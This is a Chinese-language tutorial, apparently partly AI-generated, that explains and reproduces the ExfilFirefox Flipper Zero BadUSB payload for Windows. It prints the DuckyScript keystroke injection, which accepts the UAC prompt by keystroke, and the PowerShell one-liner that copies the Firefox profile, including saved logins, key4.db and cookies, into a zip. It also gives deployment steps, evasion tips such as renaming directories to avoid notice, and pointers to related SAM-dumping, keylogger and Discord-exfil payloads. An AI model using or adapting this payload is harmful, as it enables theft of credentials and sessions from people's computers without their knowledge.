2026/9/14 12:55:15

Flipper Zero BadUSB 实战:ExfilFirefox —— Firefox 浏览器配置文件自动化窃取与打包指南

Flipper Zero BadUSB 实战:ExfilFirefox —— Firefox 浏览器配置文件自动化窃取与打包指南 Flipper Zero BadUSB 实战ExfilFirefox —— Firefox 浏览器配置文件自动化窃取与打包指南【免费下载链接】FlipperPlayground (and dump) of stuff I make or modify for the Flipper Zero项目地址: https://gitcode.com/GitHub_Trending/fl/Flipper导读ExfilFirefox是 UNC0V3R3D BadUSB 脚本集合Windows_Badusb/Exfiltration 目录中一个典型的**浏览器数据渗出Exfiltration**载荷它由 Flipper Zero 以 HID 键盘方式注入 Windows 主机自动以管理员权限拉起 PowerShell将当前用户的 Firefox 完整配置目录书签、历史、Cookie、登录态等复制到本地指定目录并连同自动生成的 HTML 侦察报告一起压缩为一个 zip 包。阅读完本文你将掌握该载荷从按键注入到 PowerShell 内部执行的完整调用链、逐行参数含义、部署前必须修改的配置项以及如何结合仓库内同类脚本进行扩展与安全测试。一、ExfilFirefox 的定位与功能根据脚本头部的元信息ExfilFirefox.txt该脚本作者UNC0V3R3D版本1.0类别Exfiltration数据渗出描述Exfiltrate Firefox profile and store to path窃取 Firefox 配置并存储到指定路径文档 readme.md 给出的核心功能为三件事打开 PowerShell以提升权限的方式启动复制 Firefox 配置文件%USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles下的完整配置目录将结果写入本地 HTML 报告并打包。需要特别说明的是readme 中paste profile into a html file的表述比较简略从实际脚本第 20 行的 PowerShell 单行载荷可以看到更精确的行为——Firefox 配置目录被整体复制到报告目录下的WGD\FireFox-Profile子目录中而 HTML 文件是脚本自动生成的Walkuer Ghost Report侦察报告两者最终一起被Compress-Archive压缩成单个 zip。这比粘贴到 html字面上的含义更完整拿到 zip 就等于拿到了 HTML 报告 完整 Firefox 配置的复合战利品包。二、使用前提这不是一个即插即用脚本readme 第 59 行明确强调This script is not plug and play. You need to do the following changes: change path of the file-DestinationPath PATH\results-26528702.zip即使用前必须修改 PowerShell 载荷末尾的-DestinationPath参数把占位符PATH替换为攻击者期望的 zip 输出位置例如C:\Users\你\Desktop或某个可回收的共享目录。如果不修改脚本会因路径不合法而报错渗出流程在最后打包一步失败。部署到 Flipper Zero按照集合级 README 的新手安装指引下载本仓库后找到 ExfilFirefox.txt用文本编辑器打开修改-DestinationPath PATH\results-26528702.zip中的PATH通过 qFlipperPC或 Flipper Zero 官方移动端应用连接设备将修改后的 txt 放入SD Card → badusb目录在 Flipper 上进入BadUSB分类选中脚本即可注入执行。集合 README 同时给出两条重要的排查经验与本脚本强相关脚本行为异常打开无关窗口、文本乱输通常是DELAY太短把数值调大如DELAY 500 → DELAY 700即可DELAY单位是毫秒报ERROR: line N检查 txt 中是否有随机空行、以空格开头的行以及LOCALE命令——后者在 Flipper 上无法正常工作应避免使用。三、DuckyScript 注入层按键序列逐段拆解ExfilFirefox.txt全部采用 DuckyScript 1.0 语法集合 README 明确说明全部脚本均基于该语言且 97% 脚本依赖 PowerShell 实现能力。先看完整的按键注入部分REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) REM Description: Exfiltrate Firefox profile and store to path. Change destination Path at the very end of the string. REM Version: 1.0 REM Category: Exfiltration DELAY 750 WINDOWS d DELAY 1500 WINDOWS r DELAY 1500 STRING powershell Start-Process powershell -Verb runAs ENTER DELAY 750 LEFTARROW ENTER DELAY 1200 ALT y DELAY 1200 GUI UP DELAY 1200 STRING 超长 PowerShell 单行载荷 ENTER逐段作用如下命令序列作用说明DELAY 750等待给系统留出识别 USB 键盘与稳定输入的时间WINDOWS d回到桌面确保焦点落在桌面避免干扰正在运行的窗口WINDOWS r打开运行对话框与DELAY 1500组合等待 Run 窗口弹出STRING powershell Start-Process powershell -Verb runAsENTER以管理员身份启动新 PowerShell关键提权命令-Verb runAs触发 UAC 提示LEFTARROWENTER确认 UAC 弹窗聚焦 UAC 对话框中的是Yes按钮并回车确认ALT yUAC 键盘快捷键AltY是 UAC 提示的是键盘快捷方式进一步确保弹窗被接受GUI UP释放 Win 键防止按键状态残留导致后续输入异常DELAY 1200STRING 载荷ENTER注入 PowerShell 载荷等待管理员窗口就绪后执行完整脚本值得注意的工程细节脚本在 UAC 弹窗阶段安排了三重保险——先LEFTARROW定位到是再回车随后又补一发ALT y快捷键最后GUI UP释放按键最大化保证提权成功而不卡死在 UAC 界面。这些DELAY 1200的冗余等待正是为了规避不同机器上 UAC Secure Desktop 弹出速度的差异。为什么用 PowerShell集合 README 中解释了设计动机PowerShell 是 Windows 上能力最完整的脚本载体能实现对机器的完全控制give us full power over the machine。ExfilFirefox 把提权、文件复制、HTML 生成、压缩打包全部塞进一行 PowerShell 语句正是这一设计哲学的体现——DuckyScript 负责按键编排PowerShell 负责业务逻辑。四、PowerShell 载荷深度拆解从时间戳目录到复合 zip脚本第 20 行是整条攻击链的心脏。把它按;分号拆开可还原为如下逻辑块1. 全局错误静默$ErrorActionPreference SilentlyContinue设置后所有非终止错误不再弹窗、不再打断流程。这对自动化注入至关重要——任何路径不存在、权限不足的报错都不会暴露执行痕迹或中断后续步骤。2. 生成带时间戳的报告目录$folderDateTime (get-date).ToString(d-M-y HHmmss) $userDir (Get-ChildItem env:\userprofile).value \Walkuer Ghost Report $folderDateTime $fileSaveDir New-Item ($userDir) -ItemType Directory时间戳格式d-M-y HHmmss如13-9-26 094500注意是小写y只显示两位年份目录命名为Walkuer Ghost Report 时间戳创建于用户主目录如C:\Users\victim\Walkuer Ghost Report 13-9-26 094500每次运行生成独立目录天然避免多次执行互相覆盖。3. 生成 HTML 侦察报告骨架$date get-date $style style table td{padding-right: 10px;text-align: left;}#body {padding:50px;font-family: Helvetica; font-size: 12pt; border: 10px solid black;background-color:white;height:100%;overflow:auto;}#left{float:left; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#right{background-color:#C0C0C0;float:right;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#center{background-color:#C0C0C0;width:98%;height:300px;border: 4px solid black;padding:10px;overflow:scroll;margin:10px;} /style $Report ConvertTo-Html -Title Recon Report -Head $style $fileSaveDir/ComputerInfo-26528702.html $Report $Report div idbodyh1Walkuer Ghost Report/h1hr size2brh3 Generated on: $Date /h3br使用 PowerShell 内置ConvertTo-Html生成标准 HTML内联 CSS 定义了#left/#right双栏各占 45% 宽、260px 高与#center全宽面板的布局——从源码结构看这是为后续把系统信息、浏览器数据等分类填充到不同面板预留的版式HTML 标题为Recon Report页内大标题为Walkuer Ghost Report并记录生成时间Generated on: $Date。4. 复制 Firefox 配置文件核心动作$fireSaveDir New-Item $userDir\WGD\FireFox-Profile -ItemType Directory $fireDir (Get-ChildItem env:\userprofile).value \AppData\Roaming\Mozilla\Firefox\Profiles Copy-Item $fireDir -Destination $fireSaveDir -Recurse Start-Sleep -s 10源路径指向%USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles这是 Firefox 在 Windows 上存放全部用户配置的标准位置目标为报告目录下的WGD\FireFox-Profile子目录Copy-Item -Recurse递归复制整个 Profiles 目录一次性拿走全部配置文件Start-Sleep -s 10预留 10 秒等待复制完成避免大配置目录未复制完就进入压缩阶段——这是脚本作者应对配置很大、复制慢的显式节流设计。从一般浏览器数据组成看Firefox 配置目录中通常包含places.sqlite书签与历史、cookies.sqliteCookie 会话、logins.json与key4.db已保存的登录凭据及其加密密钥、formhistory.sqlite表单历史、prefs.js偏好设置等敏感文件这也是此类载荷一键打包整个配置目录而非单独挑文件的原因——打包即无遗漏。5. 追加报告内容并压缩打包$Report $fileSaveDir/ComputerInfo-26528702.html Compress-Archive -Path $fileSaveDir -DestinationPath PATH\results-26528702.zip exit将前面拼好的报告 HTML 内容追写入ComputerInfo-26528702.htmlCompress-Archive将整个报告目录含 HTML WGD\FireFox-Profile压缩为results-26528702.zipexit干净退出 PowerShell不留交互窗口。最终产物结构推断目标用户目录\Walkuer Ghost Report 时间戳\ ├── ComputerInfo-26528702.html # 自动生成的侦察报告 └── WGD\ └── FireFox-Profile\ # 完整 Firefox Profiles 配置副本 └── profile-id.default\ └── ...places.sqlite、cookies.sqlite 等 压缩后results-26528702.zip五、部署前的必改项与可选项必改项不改无法运行位置默认值修改建议-DestinationPath PATH\results-26528702.zipPATH占位符改为攻击者可控的绝对路径如C:\Users\attacker\Desktop\results-26528702.zip。注意路径中不要残留空格导致的未加引号问题原始命令未给-DestinationPath加引号路径含空格时会解析失败可选项按场景定制zip 文件名results-26528702.zip中的26528702是作者个人编号可改成自己的标识时间戳格式$folderDateTime (get-date).ToString(d-M-y HHmmss)可改为yyyy-MM-dd HHmmss更便于归档排序报告目录与子目录名Walkuer Ghost Report、WGD\FireFox-Profile均为可读字符串可换成不易引人注意的目录名如Temp、Cache以降低被使用者察觉的概率等待时长Start-Sleep -s 10可依据目标 Firefox 配置体积调大或调小UAC 时序若目标机器 UAC 弹窗较慢可把DELAY 1200系列适当加大集合 README 的排查经验也建议如此处理。六、扩展思路与仓库内同类载荷的组合使用ExfilFirefox 并非孤立脚本它所在的 Windows_Badusb/Exfiltration 目录围绕数据渗出提供了完整工具链可对照学习与组合使用SAMexfil同一作者、同一模板下的姊妹脚本负责提取 Windows SAMSecurity Account Manager同样需要修改-DestinationPath PATH\results-61748762.zipIP_To_Discord将目标机 IP 通过 Discord Webhook 外传展示本地打包→远程外传的第二种通道General_PC_Information、GetAllComputerInfo、Win_User_Info、USB_And_Harddrive_Information、Network_Exfiltration、Keylogger、ListWindowsUpdates覆盖系统信息、账号信息、外设、网络与键盘记录等更多渗出面。可以看到该集合存在明显的模板化生产方式readme 结构统一简介 / How to use / Features / Feedback / Support / Meta脚本统一UAC 提权 时间戳目录 HTML 报告 Compress-Archive 打包框架。掌握 ExfilFirefox 的拆解方法后你可以举一反三阅读整个 Exfiltration 目录。七、安全与合规边界重要集合 README 在《Usage Agreement》中明确声明本项目仅用于教育目的for educational purposes only运行前必须获得授权作者不对使用后果负责强烈建议在虚拟机如 VM 中的 Windows 测试机中验证脚本避免对个人或生产机器造成不可逆影响本文所有内容均基于仓库内 ExfilFirefox.txt 与 readme.md 的公开源码展开仅用于技术研究与防御演练——请勿在未授权系统上使用。参考资料仓库内脚本本体ExfilFirefox.txt原版说明文档ExfilFirefox/readme.md集合总览与 DuckyScript 入门、排错指南UNC0V3R3D-BadUSB-Collection/README.md同目录姊妹脚本SAMexfil、IP_To_Discord 说明【免费下载链接】FlipperPlayground (and dump) of stuff I make or modify for the Flipper Zero项目地址: https://gitcode.com/GitHub_Trending/fl/Flipper创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考